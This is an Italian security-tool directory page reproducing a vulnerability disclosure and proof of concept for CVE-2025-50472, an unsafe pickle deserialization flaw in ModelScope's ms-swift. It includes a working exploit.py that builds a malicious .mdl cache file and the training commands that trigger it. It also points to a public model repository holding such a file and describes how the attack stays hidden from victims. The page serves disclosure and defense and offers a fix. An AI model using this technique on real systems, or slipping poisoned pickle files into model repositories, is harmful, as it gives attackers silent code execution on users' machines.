Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-50472 — Exploit proof-of-concept per CVE-2025-50472, una vulnerabilità RCE di deserializzazione in ModelFileSystemCache di ms-swift di ModelScope tramite file .mdl dannosi. | Kitploit
Strumenti/GitHubGitHub/before-rain/cve-2025-50472
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration TestingSviluppo Payload
GitHubbefore-rain/cve-2025-50472

CVE-2025-50472

Exploit proof-of-concept per CVE-2025-50472, una vulnerabilità RCE di deserializzazione in ModelFileSystemCache di ms-swift di ModelScope tramite file .mdl dannosi.

Vedi Repository
11 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-50472

ModelScope Ms-Swift ModelFileSystemCache: Vulnerabilità di Esecuzione di Codice Remoto tramite Deserializzazione di Dati Non Fidati

PoC RCE

Ho caricato un repository di codice contenente un file .mdl malevolo su ModelScope per scopi di test. Può essere utilizzato direttamente durante i test. Il link è: https://www.modelscope.cn/models/HaoFan2024/ms-swift-test-fanhao/files

immagine

Il file .mdl contiene codice malevolo incorporato, ma nessun avviso di sicurezza viene visualizzato su ModelScope.

Codice PoC:

root@kitploit:~
# Set up the environment
pip install ms-swift==2.6.1
pip install -r framework.txt # This requirements file is included in the modelscope/ms-swift repository
# When using the remote repository HaoFan2024/ms-swift-test-fanhao, the `.mdl` file will be downloaded directly.
# During model loading, the `.mdl` file is loaded using `pickle.load`, leading to Remote Code Execution (RCE).
CUDA_VISIBLE_DEVICES=0 swift sft \
    --model_type qwen1half-0_5b-chat \
    --model_id_or_path=HaoFan2024/ms-swift-test-fanhao \
    --dataset blossom-math-zh \
    --num_train_epochs 5 \
    --sft_type lora \
    --output_dir output \
    --eval_steps 200

La procedura per riprodurre il problema è la seguente:

  1. Il modello viene scaricato

    p1
  2. Dopo l'esecuzione del codice malevolo, l'addestramento procede normalmente senza interruzioni

    immagine
  3. Il payload malevolo viene eseguito con successo

    immagine

1. Panoramica di alto livello ed effetti della vulnerabilità:

La libreria modelscope/ms-swift fino alla versione 2.6.1 è vulnerabile all'esecuzione di codice arbitrario attraverso la deserializzazione di dati non fidati all'interno della funzione load_model_meta() della classe ModelFileSystemCache(). Gli attaccanti possono eseguire codice e comandi arbitrari creando un payload .mdl serializzato malevolo, sfruttando l'uso di pickle.load() su dati provenienti da fonti potenzialmente non fidate. Questa vulnerabilità permette l'esecuzione di codice remoto (RCE) ingannando le vittime facendo loro caricare un checkpoint apparentemente innocuo durante un normale processo di addestramento, consentendo così agli attaccanti di eseguire codice arbitrario sulla macchina bersaglio.

Nota che il file payload è un file nascosto, rendendo difficile per la vittima rilevare la manomissione. Ancora più importante, durante il processo di addestramento del modello, dopo che il file .mdl viene caricato ed esegue codice arbitrario, il normale processo di addestramento rimane inalterato, il che significa che l'utente rimane all'oscuro dell'esecuzione di codice arbitrario.

2. Il Prodotto Vulnerabile

  • Prodotto: modelscope ms-swift
  • Modulo: ModelFileSystemCache
  • File: swift/hub/utils/caching.py
  • Versione: <=2.6.1
  • GitHub Permalink: https://github.com/modelscope/ms-swift/blob/ab38bff0387a86fd9f068246c326ee7b0d5ed139/swift/hub/utils/caching.py#L141

3. Analisi della Causa Principale

  • Descrizione dettagliata della vulnerabilità: La vulnerabilità deriva dalla deserializzazione non sicura di dati non fidati. Lo script usa pickle.load per caricare il file cache nascosto ed è vulnerabile all'esecuzione di codice.

  • Flusso del codice dall'input alla condizione vulnerabile:

    • Durante l'addestramento del modello, l'utente ha utilizzato il metodo predefinito di download del modello per ottenere un modello da ModelScope. Il modello è stato archiviato nel percorso ~/.cache/modelscope/hub/xx/xx, dove era presente un file cache .mdl nella directory del modello, contenente informazioni di base come il nome del modello.
    • L'utente ha quindi utilizzato il modello scaricato per il fine-tuning o altre procedure di addestramento.
    • Quando lo script caching.py ha deserializzato il file .mdl, il codice malevolo incorporato nel file è stato eseguito.
  • Punto di iniezione: La vulnerabilità si verifica nel punto in cui viene chiamato pickle.load. GitHub Permalink: https://github.com/modelscope/ms-swift/blob/ab38bff0387a86fd9f068246c326ee7b0d5ed139/swift/hub/utils/caching.py#L141

  • Correzioni suggerite: Quando si gestiscono file di configurazione (piuttosto che file di modello), si consiglia di adottare metodi di parsing più sicuri, come yaml.safe_load(yaml_file) o json.load, per mitigare il rischio di esecuzione di codice arbitrario.

4. PoC

  1. Eseguire exploit.py per creare un file cache malevolo .mdl che creerà una directory sul sistema della vittima:
root@kitploit:~
# exploit.py

import pickle  
import os   
  
class Exploit:  
    def __reduce__(self):  
        return (os.system, ('mkdir HACKED',))  

# .mdl
data = pickle.dumps(Exploit())
with open('.mdl', 'wb') as f:
    f.write(data)
  1. Sostituire il file .mdl originale nella directory del modello con il file malevolo creato sopra.

  2. Quando il parametro model_id_or_path viene specificato durante l'addestramento per fare riferimento a una directory di modello locale, un file .mdl manomesso nel percorso specificato può portare all'esecuzione di codice remoto (RCE). Importante, tale modifica non interrompe il normale flusso di lavoro di addestramento, rendendo l'attacco RCE furtivo e difficile da rilevare per gli utenti.

root@kitploit:~
CUDA_VISIBLE_DEVICES=0 swift sft     --model_type qwen1half-0_5b-chat --model_id_or_path=/root/.cache/modelscope/hub/qwen/Qwen1___5-0___5B-Chat     --dataset blossom-math-zh     --num_train_epochs 5     --sft_type lora     --output_dir output     --eval_steps 200

Autore

Hao Fan(凡浩) e Yu Rong(戎誉)

Scarica lo strumento